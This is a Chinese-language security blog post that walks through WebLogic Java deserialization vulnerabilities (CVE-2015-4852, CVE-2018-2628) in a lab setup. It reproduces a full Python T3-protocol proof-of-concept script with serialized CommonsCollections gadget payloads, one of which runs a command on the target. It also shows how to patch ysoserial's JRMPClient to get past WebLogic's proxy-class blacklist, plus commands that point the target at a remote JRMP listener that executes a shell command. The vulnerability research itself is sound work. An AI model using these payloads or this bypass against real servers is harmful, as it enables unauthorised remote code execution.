weblogic反序列化漏洞分析与调试

web

安装 weblogic

官网下载安装

下载地址 http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html ，需要注册账号。

安装完之后会弹出向导配置，在 Mac 上安装报错java.io.IOException: Too many open files，需要执行以下命令。

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sudo sysctl -w kern.maxfiles=20480
sudo sysctl -w kern.maxfilesperproc=18000

安装完毕版本是 12.2.1.3.0。

参考

https://superuser.com/questions/433746/is-there-a-fix-for-the-too-many-open-files-in-system-error-on-os-x-10-7-1

docker 安装

直接用 Vulhub 的这个镜像 https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 。
安装完毕版本是 10.3.6.0。

调试 weblogic

在 /Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/setDomainEnv.sh 里使local_debug为true就好了。

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export local_debug="true"
if [ "${local_debug}" = "true" ] ; then
	JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
	export JAVA_DEBUG
	JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} ${debugpatchAgent} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
	export JAVA_OPTIONS

运行startWebLogic.sh启动服务。

在 IDEA 里新建一个 java 工程，在File->Project Structure里找到Libraries，添加Oracle/Middleware/Oracle_Home/wlserver/modules。然后新建一个Remote的Run/Debug Configurations，设置好端口号和搜索资源的 module。下好断点即可 debug。

感谢头师傅的指导。

从 CVE-2015-4852 看起

CVE-2015-4852 是 java 反序列化问题引起重视并被大规模利用适合的 weblogic 的洞。根据@breenmachine的文章，他当时找漏洞的方法是，对 weblogic 在 7001 端口的 T3 协议进行抓包，发现流量中有 java 反序列化之后数据的 Magic ac ed 00 05，然后替换掉对应的部分。作者抓包时执行的脚本是root@us-l-breens:/opt/OracleHome/user_projects/domains/base_domain/bin# ./stopWebLogic.sh。即在停止 weblogic 服务的时候，会往 7001 端口以 T3 协议认证并发送命令。即使作者输入了错误的用户名密码，也会有反序列化的数据存在。因此这个利用没有任何限制。

关于 T3 协议 oracle 给的资料并不多，只说该协议用于 WebLogic Server 之间或者 Server 与 client 的 RMI 通信。
在这个时候，weblogic 没有进行任何的过滤，而常用的库如 CommonsCollections 有现成的 gadget 可以用，导致直接 RCE。在这之后，weblogic 用黑名单的方式对反序列化的类做了一些过滤，后面的几个 cve 也都是绕过黑名单。

在此复制一份 iswin 大佬写的无害poc。

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# -*- coding: utf-8 -*-
import socket
import time
import re
#
#  @author [email protected]
#  reffer: nessus
#
VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'
def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res
def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(50)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)
if __name__=="__main__":
    dip = '10.8.56.17'
    dport = 7001
    for i in range(0,len(VUL)):
        run(dip,dport,i)

还有一份 java 版的 T3 协议的模拟。 https://github.com/5up3rc/weblogic_cmd

参考

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic
https://docs.oracle.com/cd/E28280_01/web.1111/e13721/rmi_t3.htm
https://docs.oracle.com/cd/E11035_01/wls100/client/t3.html
https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://github.com/jas502n/CVE-2018-2628

CVE-2018-2628

根据 xxlegend 大佬的描述

来看看InboundMsgAbbrev中resolveProxyClass的实现，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，其实随便找一个rmi接口即可绕过。

很容易就能 grep 到这个类在 com.bea.core.weblogic.rmi.client.jar 中。

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➜  modules grep -r 'InboundMsgAbbrev' .
Binary file ./clients/com.oracle.webservices.wls.jaxrpc-client.jar matches
Binary file ./clients/com.oracle.webservices.wls.jaxws-wlswss-client.jar matches
Binary file ./com.bea.core.weblogic.rmi.client.jar matches

在代码里看到了对java.rmi.registry.Registry的判断。即使用除此之外的其他方法就能绕过。在这个函数下断点，可以看到 xxlegend 大佬使用的是java.rmi.activation。

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protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] var2 = interfaces;
    int var3 = interfaces.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String intf = var2[var4];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}

当我用 ysoserial 的 JRMPClient 生成 payload 放在上面的 python 脚本里时，发现在断点附近抛出了InvalidObjectException。所以说，ysoserial 生成的 payload 是用的java.rmi.registry.Registry，而 weblogic 对他进行了判断。只要修改 ysoserial 里 JRMPClient 的实现代码，改为用java.rmi.activation就行了。其实也不止是java.rmi.activation，只要是 extends java.rmi.Remote 的 interface 即可，如javax.management.remote.rmi.RMIConnection、sun.jvmstat.monitor.remote.RemoteVm等。

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Activator proxy = (Activator)Proxy.newProxyInstance(JRMPClient.class.getClassLoader(),new Class[]{Activator.class},obj);

重新编译并生成payload。

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java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 8.8.8.8:1099

在服务器执行java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/salt"。
运行脚本即可成功。

参考

https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
https://github.com/frohoff/ysoserial

后续

经过测试发现，在docker里的 weblogic 可以轻松打成功，而装在 Mac 上的 weblogic 就是打不动。远程的服务器能收到连接，但是命令没有执行。问了头师傅，说可能是因为那些基础库更新了，ysoserial 里的 gadget 不能使用了。为了实锤这一点，我从 docker 里看了下 commons-collections 库的版本，是 3.2.0。而 commons-collections 在 3.2.1 版本对反序列化问题做了一些检查。如果想在新版的 weblogic 上打成功需要找其他的 gadget。

参考

https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://xz.aliyun.com/t/1631

感谢头师傅全程带飞。

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